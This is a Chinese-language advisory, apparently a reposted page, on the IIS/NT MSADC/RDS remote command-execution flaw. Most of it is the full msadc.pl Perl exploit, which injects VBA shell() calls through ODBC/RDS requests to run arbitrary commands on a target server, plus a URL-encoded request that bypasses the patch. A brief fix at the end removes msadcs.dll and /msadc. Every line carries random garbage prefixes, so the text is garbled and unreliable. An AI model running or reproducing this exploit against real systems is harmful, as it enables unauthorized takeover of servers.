IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
RRGs:h@; c{i\F D 涉及程序:
TZObjSm_v Microsoft NT server
36 ]?4, . (%{!TJg ZR 描述:
Lcs?2c:% 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
F Zk[w>{ s 8lfW6
详细:
Q+E)_5_sA 如果你没有时间读详细内容的话,就删除:
$,1KD3;+] c:\Program Files\Common Files\System\Msadc\msadcs.dll
$ Vsf?ID 有关的安全问题就没有了。
_P=L| U#C s>ZlW:jY 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
G-DOI HB}iT1.` 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
1_)Y{3L 关于利用ODBC远程漏洞的描述,请参看:
2K{)8;^ tSunO-\y http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm er>@- F7w Kr%O}<" 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
/I0}(;^y http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3MHByT% %){) /~e& 这里不再论述。
snny!
0E\m :j;_Xw 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
s&6/fa
N<aMUV m /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
(w/lZt 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
B|-W Gq.fQ_oOb ztV%W6 #将下面这段保存为txt文件,然后: "perl -x 文件名"
H`jvT] HhB'
^) #!perl
8s6^!e& #
S6c>D&Q # MSADC/RDS 'usage' (aka exploit) script
JE[J}-2 #
Pb/[945 # by rain.forest.puppy
jp#/]>(9Z #
lD?]D& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
PKt;]T0 # beta test and find errors!
n`|CDKb -W)8Z. use Socket; use Getopt::Std;
7iH%1f getopts("e:vd:h:XR", \%args);
{o8K&XU#&t F3<Ip~K print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#(r1b'jfP DMd&9EsRG if (!defined $args{h} && !defined $args{R}) {
:74G5U8% print qq~
V%n7h&\% Usage: msadc.pl -h <host> { -d <delay> -X -v }
Ly`FU) -h <host> = host you want to scan (ip or domain)
F ss@/- -d <seconds> = delay between calls, default 1 second
M7\K iQd -X = dump Index Server path table, if available
5OHF=wh -v = verbose
604^~6 -e = external dictionary file for step 5
r$;u4FR $Q*^c"& Or a -R will resume a command session
%CG=mTP =_,j89E ~; exit;}
87:V-*8 9I*`~il>{ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
^%m~V LH if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
e2MjV8Bs if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
0tP{K if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
j9$kaEf $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
420yaw/": if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^h"F\vIpV -n`2>L1 if (!defined $args{R}){ $ret = &has_msadc;
%jj\w> die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
OT}^dPQe -5Ln3\ O@ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
SI/p8 ^ . "cmd /c ";
q%8Ck)xz $in=<STDIN>; chomp $in;
TDHS/"MbA7 $command="cmd /c " . $in ;
yI_MYL[ N1espc@j if (defined $args{R}) {&load; exit;}
xs$-^FnD pDG>9P#mO print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
uZ(,7>0 &try_btcustmr;
A=pyaU`aE &3bh K5P print "\nStep 2: Trying to make our own DSN...";
Yjp*T:6 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
WOuk>
/ WEk3
4crk print "\nStep 3: Trying known DSNs...";
3"iJ/Hc}9 &known_dsn;
F]`_ak E a3[lZPQe print "\nStep 4: Trying known .mdbs...";
wVtBH_> &known_mdb;
.Sjg xY1@Ja if (defined $args{e}){
$5Tjo
T print "\nStep 5: Trying dictionary of DSN names...";
,ko0XQBl &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
P/doNv}iG w.R2' WR print "Sorry Charley...maybe next time?\n";
R'x^Y" exit;
n3JSEu;J gWHjI3; ##############################################################################
RS
/*Dp^ Bz*6M sub sendraw { # ripped and modded from whisker
W3-g]#\? sleep($delay); # it's a DoS on the server! At least on mine...
pq/FLYiv my ($pstr)=@_;
:IP;FrcMP socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
oo$WD6eCR die("Socket problems\n");
}J'5EAp if(connect(S,pack "SnA4x8",2,80,$target)){
IgHs&= select(S); $|=1;
pjmGzK print $pstr; my @in=<S>;
)\I? EU8 select(STDOUT); close(S);
BRSgB-Rr7 return @in;
(to/9OrG } else { die("Can't connect...\n"); }}
.JD4gF2N +,{Wcb ##############################################################################
_($-dJ{ 5b{yA~ty sub make_header { # make the HTTP request
%Zv(gI`A my $msadc=<<EOT
^ T:qT*v POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
{g:/BFLr# User-Agent: ACTIVEDATA
|Ad6~E+aL- Host: $ip
rJQ|Oi&1i Content-Length: $clen
& c9Fw:f; Connection: Keep-Alive
P:-/3 WJ8vHPSM ADCClientVersion:01.06
kDP^[V
P+ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
@wgGnb) _7"W\gn:9 --!ADM!ROX!YOUR!WORLD!
& O\!!1% Content-Type: application/x-varg
y$9t!cx Content-Length: $reqlen
"v(]"L ];~[Olc EOT
iwjl--)@K ; $msadc=~s/\n/\r\n/g;
KP-z return $msadc;}
zp-~'kIJ UMW^0>Z!v ##############################################################################
dB)hW'J? XTaWd0Y sub make_req { # make the RDS request
Or)c*.|\ my ($switch, $p1, $p2)=@_;
Xt*%"7yTp my $req=""; my $t1, $t2, $query, $dsn;
Pc4cSw#5 >t2)Z|1 if ($switch==1){ # this is the btcustmr.mdb query
U9sub6w 6 $query="Select * from Customers where City=" . make_shell();
=V]i?31[ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
6@ ^`-N; $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
kR?n%`&k #|h8u` elsif ($switch==2){ # this is general make table query
I>~BkR+u%o $query="create table AZZ (B int, C varchar(10))";
g@f/OsR76 $dsn="$p1";}
!rGI), <KPx0g?=b elsif ($switch==3){ # this is general exploit table query
Riuv@i^6K $query="select * from AZZ where C=" . make_shell();
1V$B^/ _ $dsn="$p1";}
Z@O
e}\.$ ]!o,S{a& elsif ($switch==4){ # attempt to hork file info from index server
Pm;*Jv% $query="select path from scope()";
TEZqAR]G $dsn="Provider=MSIDXS;";}
r74w[6( 9sU,.T elsif ($switch==5){ # bad query
`9{C/qB $query="select";
H1i4_T $dsn="$p1";}
sn`?Foh Qh%vh;|^ $t1= make_unicode($query);
D I[^H $t2= make_unicode($dsn);
J
uKaRR~ $req = "\x02\x00\x03\x00";
a3IB, dr5P $req.= "\x08\x00" . pack ("S1", length($t1));
@5GP;3T $req.= "\x00\x00" . $t1 ;
BTtYlpN6 $req.= "\x08\x00" . pack ("S1", length($t2));
?+o7Y1 k, $req.= "\x00\x00" . $t2 ;
4<Y[L'UaA@ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
8k'em/M~ return $req;}
HOb\Hn|6jq [/j-d ##############################################################################
Mn;CG'FA -z1o~~ sub make_shell { # this makes the shell() statement
{z
~
' return "'|shell(\"$command\")|'";}
a
:AcCd) o!0a8i ##############################################################################
RM$S|y{L ~h|L;E" sub make_unicode { # quick little function to convert to unicode
?KW?] o my ($in)=@_; my $out;
8#-}3~l[ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
vtjG&0GSK return $out;}
XaSl6CH ]HT>-Ba;{h ##############################################################################
`o'sp9_3 7@]hu^)rry sub rdo_success { # checks for RDO return success (this is kludge)
!Xce iQu my (@in) = @_; my $base=content_start(@in);
^@eCT}p{ if($in[$base]=~/multipart\/mixed/){
Z6pDQ^Ii return 1 if( $in[$base+10]=~/^\x09\x00/ );}
PmTd+Gj$ return 0;}
Yb/^Qk59 =5F49 ##############################################################################
?id^v 7d EJY:C9W sub make_dsn { # this makes a DSN for us
{'C74s
my @drives=("c","d","e","f");
i/B"d,=< print "\nMaking DSN: ";
"$9ZkADO foreach $drive (@drives) {
B)*%d7=x print "$drive: ";
UQr+\ u my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
FiL
JF! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
AlV2tffY^ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
|[ofc!/ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
dq&d>f1 return 0 if $2 eq "404"; # not found/doesn't exist
[r'M_foga* if($2 eq "200") {
L.[2l Q foreach $line (@results) {
n_hD return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
~o$=(EC } return 0;}
>dY"B$A> qI:wm= ##############################################################################
&*~
WK uqH;1T;s sub verify_exists {
]T`qPIf;yJ my ($page)=@_;
Zx0c6d!B my @results=sendraw("GET $page HTTP/1.0\n\n");
@"0qS:s]X return $results[0];}
C: cu1Y9 CJ b~~ ##############################################################################
llJ)u!=5 iV=#'yY sub try_btcustmr {
uOx$@1v, my @drives=("c","d","e","f");
f5v|}gMAX my @dirs=("winnt","winnt35","winnt351","win","windows");
%iNDRLR%I `{":*V
foreach $dir (@dirs) {
|v&&%>A2 print "$dir -> "; # fun status so you can see progress
7Ll(,i<,C foreach $drive (@drives) {
W`
V print "$drive: "; # ditto
] $*cmk(Y $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Oh: -Y]m= $reqlenlen=length( "$reqlen" );
R<)uvW_@ $clen= 206 + $reqlenlen + $reqlen;
`JCC-\9T_ EUgs2Fsb3 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
KN=Orx7Gy if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
/~Iy1L# else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
7E'C o| )8oyo~4? ##############################################################################
NW6;7nWb |_p7vl" sub odbc_error {
dY}5Kmt my (@in)=@_; my $base;
y`zdI_!7 my $base = content_start(@in);
L-E &m* % if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
?VotIruR $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_DSDY$Ec $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
VQ('ejv}/ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;U4O` pZ return $in[$base+4].$in[$base+5].$in[$base+6];}
E|9`J00 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
}Y7P2W+4? print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
,Dv*<La`\ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
.>;??BG} t+A*Ws*o ##############################################################################
O<p=&=TD7 (enr{1 sub verbose {
OiAuL:D my ($in)=@_;
q'S[TFMNE return if !$verbose;
vGsAM*vw6 print STDOUT "\n$in\n";}
&,{>b[ ,$t1LV;o= ##############################################################################
iuWUr?`\ @:w^j0+h sub save {
UBW,Q+Q my ($p1, $p2, $p3, $p4)=@_;
!j7mY9x+ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Q3i\`-kbb print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
U:~]>B $ close OUT;}
Zq33R` S}Wj.l+F ##############################################################################
ih)\P0wed $'CS/U`E} sub load {
On
O_7'4 t my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
1:<n(?5JI open(IN,"<rds.save") || die("Couldn't open rds.save\n");
{w3<dfJ @p=<IN>; close(IN);
z4D)Xy"/ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
vxf09v{- $target= inet_aton($ip) || die("inet_aton problems");
\h[*oeh print "Resuming to $ip ...";
#@YKNS[ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
W"s/8; if($p[1]==1) {
*?Wz/OJ0 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
eptw)S-j $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
n\Lsm my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
vO?sHh if (rdo_success(@results)){print "Success!\n";}
zytW3sTZA else { print "failed\n"; verbose(odbc_error(@results));}}
Z/ml,4e elsif ($p[1]==3){
'S}3lsIE if(run_query("$p[3]")){
&b:y#gvJ: print "Success!\n";} else { print "failed\n"; }}
U7U&^s6` elsif ($p[1]==4){
,]JIp~=nsh if(run_query($drvst . "$p[3]")){
a'HHUii= print "Success!\n"; } else { print "failed\n"; }}
]srL>29_b exit;}
DJdhOLx Jon3ywd1Y ##############################################################################
*>aVU' yo_zc< sub create_table {
|Z>}#R!,P my ($in)=@_;
BJHWx,v $reqlen=length( make_req(2,$in,"") ) - 28;
OPUrz ?p2C $reqlenlen=length( "$reqlen" );
&N7q9t $clen= 206 + $reqlenlen + $reqlen;
u-.5rH l my @results=sendraw(make_header() . make_req(2,$in,""));
4j+M<g return 1 if rdo_success(@results);
I^LU*A= my $temp= odbc_error(@results); verbose($temp);
+#>nOn(B return 1 if $temp=~/Table 'AZZ' already exists/;
?^:5` return 0;}
zvnd@y{[ !RLXB$@` ##############################################################################
OJydt; a ~|~ 2B$JeV sub known_dsn {
`v(!IBP| # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
(@BB@G my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
!6taOT>v "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
" 5Pqvi "banner", "banners", "ads", "ADCDemo", "ADCTest");
\
D>!& Iza#v0 foreach $dSn (@dsns) {
5<KBMCn print ".";
,{ 0&NX next if (!is_access("DSN=$dSn"));
] -C*d$z if(create_table("DSN=$dSn")){
w?fq%-6f* print "$dSn successful\n";
/55 3v;l< if(run_query("DSN=$dSn")){
BUL<FTg print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
btC<>(kl& print "Something's borked. Use verbose next time\n";}}} print "\n";}
`}
'o2oZnG hG<W*g ##############################################################################
UBnHtsM -idbR[1{? sub is_access {
{v d+cE my ($in)=@_;
Ly`.~t(~l $reqlen=length( make_req(5,$in,"") ) - 28;
gi_f8RP=2a $reqlenlen=length( "$reqlen" );
r;waT@&C $clen= 206 + $reqlenlen + $reqlen;
@v6{U? my @results=sendraw(make_header() . make_req(5,$in,""));
sx[mbKj< my $temp= odbc_error(@results);
R6GlQ G verbose($temp); return 1 if ($temp=~/Microsoft Access/);
C?g*c return 0;}
44B9JA7u
|M?VmG/6 ##############################################################################
zU|'IW& CF_2ez1u0y sub run_query {
2mthUq9b* my ($in)=@_;
/T&+vzCF $reqlen=length( make_req(3,$in,"") ) - 28;
?|<p^: $reqlenlen=length( "$reqlen" );
Hs.5@ l
$clen= 206 + $reqlenlen + $reqlen;
~fpk`&nhe my @results=sendraw(make_header() . make_req(3,$in,""));
\S?;5LacZ return 1 if rdo_success(@results);
'A/{7*, my $temp= odbc_error(@results); verbose($temp);
t<p4H^ return 0;}
i~DLo3 Io7=Mc4 ##############################################################################
|JUAR{ G>2: WQ/ sub known_mdb {
SzjylUYV my @drives=("c","d","e","f","g");
}"^d<dvuz my @dirs=("winnt","winnt35","winnt351","win","windows");
8;,(D#p my $dir, $drive, $mdb;
/-ewCCzZV my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
j4D`Xq2X <oTNo>U/k # this is sparse, because I don't know of many
VpM(}QHd my @sysmdbs=( "\\catroot\\icatalog.mdb",
0o?2Sf`L\* "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
.uo:fxbd2 "\\system32\\certmdb.mdb",
AT^MQvn
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
A$J?- OimqP my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
m&6I@S2 "\\cfusion\\cfapps\\forums\\forums_.mdb",
w}(Ht_6q{ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
(=D^BXtH| "\\cfusion\\cfapps\\security\\realm_.mdb",
JZrZDW>M "\\cfusion\\cfapps\\security\\data\\realm.mdb",
\v.YP19 "\\cfusion\\database\\cfexamples.mdb",
|0N1]Hf "\\cfusion\\database\\cfsnippets.mdb",
3)~z~p7 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
NK(; -~{P "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
z]Mu8 "\\cfusion\\brighttiger\\database\\cleam.mdb",
\8 -PCD "\\cfusion\\database\\smpolicy.mdb",
sCRmLUD "\\cfusion\\database\cypress.mdb",
gm@%[ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
HNL;s5gq "\\website\\cgi-win\\dbsample.mdb",
'miY"L:| O "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
JI~@H /j "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
X7 fJ+Cn ); #these are just
G2_l}q~ foreach $drive (@drives) {
x;>~;vmi foreach $dir (@dirs){
^sZ,(sc{G foreach $mdb (@sysmdbs) {
]`n6H[6O print ".";
IWAp if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
.Vb\f print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
! ^U!T\qDi if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
,~xX[uB print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
}^3ICwzm } else { print "Something's borked. Use verbose next time\n"; }}}}}
hQDZ%> Ft$tL; foreach $drive (@drives) {
%N-f9o8 foreach $mdb (@mdbs) {
YumHECej print ".";
oSqkAAGz\ if(create_table($drv . $drive . $dir . $mdb)){
}Dc?Emb print "\n" . $drive . $dir . $mdb . " successful\n";
C{Er% if(run_query($drv . $drive . $dir . $mdb)){
zJa,kN|m print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
roG f
& } else { print "Something's borked. Use verbose next time\n"; }}}}
x 3?:"D2 }
B[6y2+6$0 OBmmOswg~ ##############################################################################
=^A/&[&31 k'$UA$2d sub hork_idx {
q`DilZ]S print "\nAttempting to dump Index Server tables...\n";
SPK%
' s print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
!9JK95; $reqlen=length( make_req(4,"","") ) - 28;
Qk.:b $reqlenlen=length( "$reqlen" );
vT>ki0P_; $clen= 206 + $reqlenlen + $reqlen;
8g CQ0w< my @results=sendraw2(make_header() . make_req(4,"",""));
A#B6]j) if (rdo_success(@results)){
~%o?J"y my $max=@results; my $c; my %d;
{:r8X for($c=19; $c<$max; $c++){
%.*?i9} $results[$c]=~s/\x00//g;
}28,fb
/ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
!F&Ss|(} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
?~>#(Q $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
K1K3s<y+ $d{"$1$2"}="";}
<n:j@a\up0 foreach $c (keys %d){ print "$c\n"; }
;^j2>Azn } else {print "Index server doesn't seem to be installed.\n"; }}
^Q$U.sN?R 4-: TQp( ##############################################################################
:{Crc WhHnF*I sub dsn_dict {
gM<*(=x' open(IN, "<$args{e}") || die("Can't open external dictionary\n");
V=,VOw4 while(<IN>){
|P"p/iY $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
ekj@;6
d] next if (!is_access("DSN=$dSn"));
LWuciHfd+ if(create_table("DSN=$dSn")){
Cb5;l~}L print "$dSn successful\n";
Eq=~S O% if(run_query("DSN=$dSn")){
/-)\$T1d print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
X]d;x/2 print "Something's borked. Use verbose next time\n";}}}
kHygif
!I4 print "\n"; close(IN);}
t<wjS|4 U,Ya^2h% ##############################################################################
]KdSwIbi "`qmeZ$rg sub sendraw2 { # ripped and modded from whisker
6e0tA ()F sleep($delay); # it's a DoS on the server! At least on mine...
PTrKnuM\J_ my ($pstr)=@_;
\ :To\6\Ri socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>zFk}/ die("Socket problems\n");
Hd]o?q\ if(connect(S,pack "SnA4x8",2,80,$target)){
Ut.%=o;&[ print "Connected. Getting data";
5]pvHc open(OUT,">raw.out"); my @in;
*:S_v.Y3" select(S); $|=1; print $pstr;
blO(Th& while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
yuIy?K close(OUT); select(STDOUT); close(S); return @in;
*?bOH5$@Nw } else { die("Can't connect...\n"); }}
3,`I\>No 3/_rbPr ##############################################################################
\PReQ|[ah 'KvSI=$ sub content_start { # this will take in the server headers
IAyyRl\ my (@in)=@_; my $c;
Buc{dcL/ for ($c=1;$c<500;$c++) {
b9nTg if($in[$c] =~/^\x0d\x0a/){
{txW>rZX if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
%8Eu{3 else { return $c+1; }}}
]R%[cr return -1;} # it should never get here actually
7PTw'+{ sgYPR ##############################################################################
O2x bHn4 wwh1aV * sub funky {
nA owFdCD my (@in)=@_; my $error=odbc_error(@in);
+;r1AR1)x if($error=~/ADO could not find the specified provider/){
U{1%ldOJ% print "\nServer returned an ADO miscofiguration message\nAborting.\n";
xER-TT#S exit;}
ob3)bI oM if($error=~/A Handler is required/){
p^.qwP\P print "\nServer has custom handler filters (they most likely are patched)\n";
e= { ?d6 exit;}
aSse'
C<a if($error=~/specified Handler has denied Access/){
2i9FzpC3 print "\nServer has custom handler filters (they most likely are patched)\n";
&t)$5\r exit;}}
\_io:{M 8'WoG]E_ ##############################################################################
{L'uuG\9U J:Mn5hdK= sub has_msadc {
wjtFZGx& my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
M!i["($_ my $base=content_start(@results);
hMCf|
e.UY return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
kz0pX-@b return 0;}
,#Pp_f< +MR]h
[ ########################
c1tM(]& V36u%zdX5n L;\f^v( 解决方案:
PGd?c#v# 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
E]w2
{% 2、移除web 目录: /msadc